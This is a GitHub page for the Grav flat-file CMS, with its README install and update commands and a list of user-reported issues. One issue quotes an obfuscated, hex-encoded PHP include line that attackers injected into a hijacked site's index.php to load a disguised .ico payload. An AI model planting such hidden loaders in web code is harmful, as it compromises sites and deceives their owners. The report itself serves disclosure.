Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS powered by PHP, Markdown, Twig, and Symfony

Overview

Grav

PHPStan Discord PHP Tests OpenCollective OpenCollective

Grav is a Fast, Simple, and Flexible, file-based Web-platform. There is Zero installation required. Just extract the ZIP archive, and you are already up and running. It follows similar principles to other flat-file CMS platforms, but has a different design philosophy than most. Grav comes with a powerful Package Management System to allow for simple installation and upgrading of plugins and themes, as well as simple updating of Grav itself.

The underlying architecture of Grav is designed to use well-established and best-in-class technologies to ensure that Grav is simple to use and easy to extend. Some of these key technologies include:

Requirements

Documentation

The full documentation can be found from learn.getgrav.org.

QuickStart

These are the options to get Grav:

Downloading a Grav Package

You can download a ready-built package from the Downloads page on https://getgrav.org

With Composer

You can create a new project with the latest stable Grav release with the following command:

$ composer create-project getgrav/grav ~/webroot/grav

From GitHub

  1. Clone the Grav repository from https://github.com/getgrav/grav to a folder in the webroot of your server, e.g. ~/webroot/grav. Launch a terminal or console and navigate to the webroot folder:

    $ cd ~/webroot
    $ git clone https://github.com/getgrav/grav.git
    
  2. Install the plugin and theme dependencies by using the Grav CLI application bin/grav:

    $ cd ~/webroot/grav
    $ bin/grav install
    

Check out the install procedures for more information.

Adding Functionality

You can download plugins or themes manually from the appropriate tab on the Downloads page on https://getgrav.org, but the preferred solution is to use the Grav Package Manager or GPM:

$ bin/gpm index

This will display all the available plugins and then you can install one or more with:

$ bin/gpm install <plugin/theme>

Updating

To update Grav you should use the Grav Package Manager or GPM:

$ bin/gpm selfupgrade

To update plugins and themes:

$ bin/gpm update

Upgrading from older version

Contributing

We appreciate any contribution to Grav, whether it is related to bugs, grammar, or simply a suggestion or improvement! Please refer to the Contributing guide for more guidance on this topic.

Security issues

If you discover a possible security issue related to Grav or one of its plugins, please email the core team at [email protected] and we'll address it as soon as possible.

Getting Started

Exploring More

Backers

Support Grav with a monthly donation to help us continue development. [Become a backer]

Sponsors

Become a sponsor and get your logo on our README on Github with a link to your site. [Become a sponsor]

License

See LICENSE

Running Tests

First install the dev dependencies by running composer install from the Grav root.

Then composer test will run the Unit Tests, which should be always executed successfully on any site. Windows users should use the composer test-windows command. You can also run a single unit test file, e.g. composer test tests/unit/Grav/Common/AssetsTest.php

To run phpstan tests, you should run:

  • composer phpstan for global tests
  • composer phpstan-framework for more strict tests
  • composer phpstan-plugins to test all installed plugins
Comments
  • Class 'Grav\Plugin\Email\Email' not found

    Class 'Grav\Plugin\Email\Email' not found

    After upgrade to Grav v1.1.5 and Admin v1.2.2 using command line everything seemed to be ok. Once I push this changes the deployed to production this nasty message.

    Class 'Grav\Plugin\Email\Email' not found
    user/­plugins/­email/­email.php:35
    

    Is this happening to anybody else?

    more info needed 
    opened by diazwatson 60
  • cannot connect to the GPM

    cannot connect to the GPM

    Hi, I'm trying grav on my server. Apparently everything works fine but when I navigate in the admin repeatedly receive the message: cannot connect to the GPM. What does it mean? Am I missing something in the setup or configuration?

    question fixed 
    opened by rocandante 58
  • Errors in Admin Page - Plugins

    Errors in Admin Page - Plugins

    I'm using local server "Xampp". `Twig_Error_Runtime thrown with message "An exception has been thrown during the rendering of a template ("GPM not reachable. Please check your internet connection or check the Grav site is reachable") in "partials/plugins-list.html.twig" at line 19."

    Stacktrace: #31 Twig_Error_Runtime in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:402 #30 RuntimeException in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\GPM\GPM.php:473 #29 Grav\Common\GPM\GPM:findPackage in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:604 #28 call_user_func_array in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:604 #27 Twig_Template:getAttribute in C:\xampp\htdocs\grav-admin\cache\twig\b6\b6a16b9e99993d5305205028e010e1f471b3dfa16d9791de3725566abe70287b.php:72 #26 __TwigTemplate_812dd152f02b4c4e995fb2a2e134fb73f18fa1fc2bdaa0c164751063205c25e5:doDisplay in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:387 #25 Twig_Template:displayWithErrorHandling in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:355 #24 Twig_Template:display in C:\xampp\htdocs\grav-admin\cache\twig\4d\4d52b4af49aed4b34218dfba0d4aacb0e49c5ec1836447acc79aafdc1f78bf2f.php:218 #23 __TwigTemplate_d45efbb2ecfd1b6d175e48517c93ba1d3d4dbe975bc59085cd8b1e31d7a923f9:block_content in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:167 #22 Twig_Template:displayBlock in C:\xampp\htdocs\grav-admin\cache\twig\bc\bcedad5a9d9c096c0555639fe81c8eae8ad587d56962c88e545ddb97fbb1e4cb.php:205 #21 __TwigTemplate_a7caedeb0e8f9004b2ff859f14111da968f804e03a9687e4b90ccc5a5f872af1:block_page in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:167 #20 Twig_Template:displayBlock in C:\xampp\htdocs\grav-admin\cache\twig\bc\bcedad5a9d9c096c0555639fe81c8eae8ad587d56962c88e545ddb97fbb1e4cb.php:158 #19 __TwigTemplate_a7caedeb0e8f9004b2ff859f14111da968f804e03a9687e4b90ccc5a5f872af1:block_body in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:167 #18 Twig_Template:displayBlock in C:\xampp\htdocs\grav-admin\cache\twig\bc\bcedad5a9d9c096c0555639fe81c8eae8ad587d56962c88e545ddb97fbb1e4cb.php:45 #17 __TwigTemplate_a7caedeb0e8f9004b2ff859f14111da968f804e03a9687e4b90ccc5a5f872af1:doDisplay in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:387 #16 Twig_Template:displayWithErrorHandling in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:355 #15 Twig_Template:display in C:\xampp\htdocs\grav-admin\cache\twig\4d\4d52b4af49aed4b34218dfba0d4aacb0e49c5ec1836447acc79aafdc1f78bf2f.php:63 #14 __TwigTemplate_d45efbb2ecfd1b6d175e48517c93ba1d3d4dbe975bc59085cd8b1e31d7a923f9:doDisplay in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:387 #13 Twig_Template:displayWithErrorHandling in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:355 #12 Twig_Template:display in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Template.php:366 #11 Twig_Template:render in C:\xampp\htdocs\grav-admin\vendor\twig\twig\lib\Twig\Environment.php:347 #10 Twig_Environment:render in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Twig\Twig.php:340 #9 Grav\Common\Twig\Twig:processSite in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Service\OutputServiceProvider.php:19 #8 Grav\Common\Service\OutputServiceProvider:Grav\Common\Service{closure} in C:\xampp\htdocs\grav-admin\vendor\pimple\pimple\src\Pimple\Container.php:113 #7 Pimple\Container:offsetGet in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Processors\RenderProcessor.php:17 #6 Grav\Common\Processors\RenderProcessor:process in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:121 #5 Grav\Common\Grav:Grav\Common{closure} in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:396 #4 Grav\Common\Grav:Grav\Common{closure} in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:372 #3 call_user_func_array in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:372 #2 Grav\Common\Grav:__call in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:122 #1 Grav\Common\Grav:measureTime in C:\xampp\htdocs\grav-admin\system\src\Grav\Common\Grav.php:122 #0 Grav\Common\Grav:process in C:\xampp\htdocs\grav-admin\index.php:45

    `

    fixed 
    opened by taechemist 41
  • Blog slugs with numbers are unstable

    Blog slugs with numbers are unstable

    If I use slug: this-is-a-title.html in an item.md (e.g. for an blog post), it works perfectly fine. But if I use slugs with numbers, e.g. slug: 10-this-is-a-title.html it sometimes works, but sometimes the slug of the blog post in Grav is shown without the number or even worse, the whole blog post gets an 404 error. I use Grav 1.0.0-RC4 without Admin-Plugin and with the Blog Skeleton (Antimatter).

    fixed 
    opened by mirkoschubert 38
  • Pages are extremely slow to load

    Pages are extremely slow to load

    I just started with a brand new installation of Grav (w/ admin tools). I'm working on a dev box with EasyPHP on PHP 7.0.4 locally. Functionally, the service is fine so far.

    However, I'm getting extremely slow load times from Grav, both on EasyPHP and WampServer. Admin panel pages take 7-8 seconds to load, and content pages take 3-4. Other pages of mine I work with locally take under a second.

    Based on the docs, Grav should be built to be highly performant. Are these kind of load times expected? If not, how can I diagnose the issue?

    I found the debugging view in Grav, and was able to get a view of where those 3 seconds are going. A lot of those seem to be taking longer than they should -- configuration, for example, is taking over 800ms by itself (200ms when it hits the cache, but the overall time is still over 3sec).

    Edit: Added debugging image and tested with WampServer also.

    question 
    opened by ekumlin 37
  • The list of pages is not displayed after updating Admin v1.10.7 (Grav v1.7.8)

    The list of pages is not displayed after updating Admin v1.10.7 (Grav v1.7.8)

    Is it possible that after updating to Grav v1.7.8 - Admin v1.10.7 the list of pages (/admin/pages) is not displayed? That is exactly what happened to me. Everything else works, including editing pages after entering a direct path (/admin/pages/anypage).

    Before I look for another cause of the problem, has it happened to someone else?

    bug fixed 
    opened by petira 35
  • Multiple security.yaml files

    Multiple security.yaml files

    • When installing Grav, file /user/cli/config/security.yaml containing a salt is being created
    • When running the site, file /user/localhost/config/security.yaml containing a different salt is being created
    • When Admin is run, file /user/config/security.yaml containing nothing is being created

    Is the above by desing? If so, why?

    If all three are required, why not using /user/env/cli/config/security.yaml and /user/env/localhost/config/security.yaml?

    bug fixed 
    opened by pamtbaau 34
  • Major security issues

    Major security issues

    Today i've noticed, that someone hijacked my Grav site on a VPS (none of other sites was affected, just Grav). I found they've added this code to my root index.php:

    /*07cd0*/
    
    @include "\x2fs\x72v\x2fw\x77w\x2fs\x65r\x6be\x6fr\x67/\x2fn\x6fd\x65_\x6do\x64u\x6ce\x73/\x70a\x74h\x2dr\x6fo\x74-\x72e\x67e\x78/\x66a\x76i\x63o\x6e_\x63e\x615\x656\x2ei\x63o";
    
    /*07cd0*/
    

    How is that possible? I've set correct permissions on files and dirs. Admin plugin has its flaws?

    cannot replicate 
    opened by avxkim 31
  • Markdown Twig filter stopped working

    Markdown Twig filter stopped working

    {% for p in page.collection %}
          {{ p.header.extra_description|markdown }}
    {% endfor %}
    

    The extra_description is a markdown editor field. This seemed to be working at some point, but now, it just returns blank. Other Twig filters work fine.

    question cannot replicate 
    opened by matthew-dean 30
  • CSS/JS pipelines with absolute urls

    CSS/JS pipelines with absolute urls

    I wish to use absolute urls and I'm using pipelining for css and js.

    I noticed that when you turn absolute urls on the compiled css and js tags disappear from the head section of html source breaking the site.

    question investigating 
    opened by jemmasta 29
  • Multilang-Site: Can't save frontmatter changes in expert mode in french language version.

    Multilang-Site: Can't save frontmatter changes in expert mode in french language version.

    i’m doing a multilang-site (en/fr) and i can edit the english version without problems. however, in the french version, as soon as i switch to expert mode, edit the frontmatter and try to save, there is simply no response from grav. no reload, no error, not even a message in the debug console… rather strange.

    i tried deleting some pages and created them anew, but the problem persists. if you want to try out yourself, here is my user-directory: http://toctoc.peacock.uberspace.de/_zips/user.zip - try changing the about/partners in the english / french version... if there's anything else you need, let me know.

    thank you!

    investigating recreated 
    opened by ulilu 29
  • Handle the situation when GRAV_ROOT or GRAV_WEBROOT are `/`

    Handle the situation when GRAV_ROOT or GRAV_WEBROOT are `/`

    I am using a hosting service which separates the site files in such a way that both GRAV_ROOT and GRAV_WEBROOT are /. Unfortunately, this tends to break some of the Grav and plugin's functionality—most importantly backups and upgrades (in grav-plugin-admin).

    This is caused by the use of rtrim to remove trailing slashes from path names. When GRAV_ROOT or GRAV_WEBROOT are / this effectively sets both to an empty string, which, in turn, makes the aforementioned scenarios to fail miserably.

    The fix is very simple. Whenever GRAV_ROOT or GRAV_WEBROOT are to be evaluated to an empty string (it can only happen if their paths contain only / characters), they are arbitrarily set to /.

    opened by thebodzio 0
  •  Autocorrect, autopunctuation, and autocapitalization not working on iOS Safari

    Autocorrect, autopunctuation, and autocapitalization not working on iOS Safari

    Description

    The autocorrect, autopunctuation, and autocapitalization features do not work on iOS for the content input.

    Steps to reproduce

    1. Install Grav
    2. Login
    3. Create a Page
    4. In the content area no characters get autocapitalized (eg after a period)
    5. Notice that entering two spaces does not result in a period followed by a space
    6. Notice that misspelled words do not result in a prompt for the correct spelling

    Versions

    Grav: 1.7.37.1 Admin: 1.10.37.1 PHP: 8.1.13 iOS Safari version: 15

    Recording

    https://user-images.githubusercontent.com/778111/209694510-edc9eb04-0573-4baf-941f-9de6905d5380.MOV

    opened by josephdpurcell 1
  • Devtools: Tailwind theme is broken

    Devtools: Tailwind theme is broken

    Hi there,

    I play around with Grav CMS and its plugin dev tools. With this plugin I had successfully created a theme with tailwind.

    I am a bit confused about a thing with this theme. In the “head” of the page I can see this code: <link rel="icon" type="image/png" href="/user/themes/taily/images/logo.png" />

    I can click on the link and I see the Grav-logo in a new browser window.

    But I can not see this image on the page itself. Why?

    The code in base.html.twig of the image is this: <link rel="icon" type="image/png" href="{{ url('theme://images/logo.png')|e }}" />

    Also the whole page output seems not working right now. It seems that the stylesheet is not loading exactly!

    Is the theme broken? Please fix it, I wanna use it for Grav CMS!

    I also made an issue for the developer of the tailwind theme for devtools plugin. But it was not fixed yet.

    opened by tauchvogel 1
  • HR tag breaks markdown

    HR tag breaks markdown

    Hi!

    Seems like GRAV expects the <HR> tag to have a matched closing one </HR>. Without it the following markdown will be rendered as a plain text:

    ---
    title: Hi there
    ---
    <HR>
    This won't look like [markdown](https://mark.down/).
    
    opened by u07 0
Releases(1.7.37.1)
Owner
Grav
Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS
Grav
Bolt is a simple CMS written in PHP. It is based on Silex and Symfony components, uses Twig and either SQLite, MySQL or PostgreSQL.

⚠️ Note - Not the latest version This is the repository for Bolt 3. Please know that Bolt 5 has been released. If you are starting a new project, plea

Bolt 4.1k Dec 27, 2022
Open source ERP software. Built on modern PHP and bootstrap 4. Easy and powerful.

FacturaScripts Open source ERP software. Built on modern PHP and bootstrap 4. Easy and powerful. Install Clone and deploy with composer and npm (compo

Carlos Garcia 313 Jan 4, 2023
UserFrosting is a secure, modern user management system written in PHP and built on top of the Slim Microframework, Twig templating engine, and Eloquent ORM.

UserFrosting 4.6 Branch Version Build Coverage Style master hotfix develop https://www.userfrosting.com If you simply want to show that you like this

UserFrosting 1.6k Jan 1, 2023
A powerful and responsive blog system powered by laravel 5.5.

Powerful and responsive blog system powered by laravel 5.5. Click https://lufficc.com/blog to view live demo. Xblog 中文 README | Docs This blog is for

Congcong Li 924 Nov 18, 2022
A flexible, elegant, fast and easy-to-use content management system written in PHP

Textpattern CMS A flexible, elegant, fast and easy-to-use content management system written in PHP. Textpattern is free and open source software.

Textpattern CMS 702 Jan 6, 2023
Powerful, yet easy to use, open-source online ordering, table reservation and management system for restaurants

TastyIgniter provides a professional and reliable platform for restaurants wanting to offer online food ordering and table reservation to their custom

TastyIgniter 2.4k Dec 27, 2022
NamelessMC is a free, easy to use & powerful website software for your Minecraft server

NamelessMC - v2 pre-release 10 NamelessMC is a free, easy to use & powerful website software for your Minecraft server, which includes a large range o

NamelessMC 520 Jan 1, 2023
BraincraftedBootstrapBundle integrates Bootstrap into Symfony2 by providing templates, Twig extensions, services and commands.

BraincraftedBootstrapBundle BraincraftedBootstrapBundle helps you integrate Bootstrap in your Symfony2 project. BootstrapBundle also supports the offi

Braincrafted 403 Aug 13, 2022
A self-hosted, drag-and-drop, & nosql file conversion server that supports 62x file formats

A self-hosted, drag-and-drop, & nosql file conversion server that supports 62x file formats

Justin Grimes 388 Dec 26, 2022
Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS

INTRODUCTION Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a tradi

Flextype 524 Dec 30, 2022
Full symfony website application cms + app all in one

Symfony Web App All in one cms website + Inventori Invoice Accounting Application A new modern web app with content management system for build websit

Mesin Kasir 5 Sep 22, 2022
Shoutit is a PHP powered shoutbox which uses mySQL to store shouts

This is a very basic PHP/MySQL application. built to prove my usuage of basic php + MySQL. It is very easy to use, has error checking, and very fast. Users can post shouts along with their names & comment.

Roman Hossain Shaon 10 Oct 10, 2022
a super lightweight markdown wiki/blog/tweeting system.

laMDWiki is a super light weight blog/wiki platform running on PHP!

null 4 Dec 24, 2021
A markdown based blogging platform

OpenPub V2 OpenPub is a markdown based blogging system. The original version of OpenPub was too experimental in the way it handled everything. This ma

Logan Bailey 4 Jun 17, 2021
Self hosted project management and collaboration tool powered by TALL stack

Sponsored By: Self hosted project management and collaboration tool inspired by basecamp. Notice: Project under some major change, do not use until st

iluminar 1.8k Jan 6, 2023
A simple, proof-of-concept Laravel blog application powered by a MongoDB ORM.

Mongoblog A simple, proof-of-concept Laravel blog application powered by a MongoDB ORM. Separated API and front-end This is a RESTful application, who

Jayps 4 Nov 8, 2022
Modern, simple and fresh looking glass based on Bootstrap 5 and PHP 7

Modern, simple and fresh looking glass based on Bootstrap 5 and PHP 7. A looking glass is a network utility which is made user-friendly for everyone to use. It allows you to execute network related commands within a remote network, usually that of an ISP.

Hybula 77 Jan 1, 2023
Dolibarr ERP & CRM is a modern software package that helps manage your organization's activity (contacts, suppliers, invoices, orders, stocks, agenda…).

Dolibarr ERP CRM is a modern software package to manage your company or foundation activity (contacts, suppliers, invoices, orders, stocks, agenda, accounting, ...). It is open source software written in PHP and designed for small and medium businesses, foundations and freelancers. You can freely install, use and distribute it as a standalone application or as a web application to use it from every internet access and media.

Dolibarr ERP & CRM 3.7k Jan 7, 2023
A powerful open source Laravel Blog with WYSWYG and CRUD (Create Read Update Delete) built on Laravel 5.8 and Bootstrap 4

Larablog A powerful open source Laravel Blog with WYSWYG and CRUD (Create Read Update Delete) built on Laravel 5.8 and Bootstrap 4 Table of contents F

Jeremy Kenedy 144 Oct 11, 2022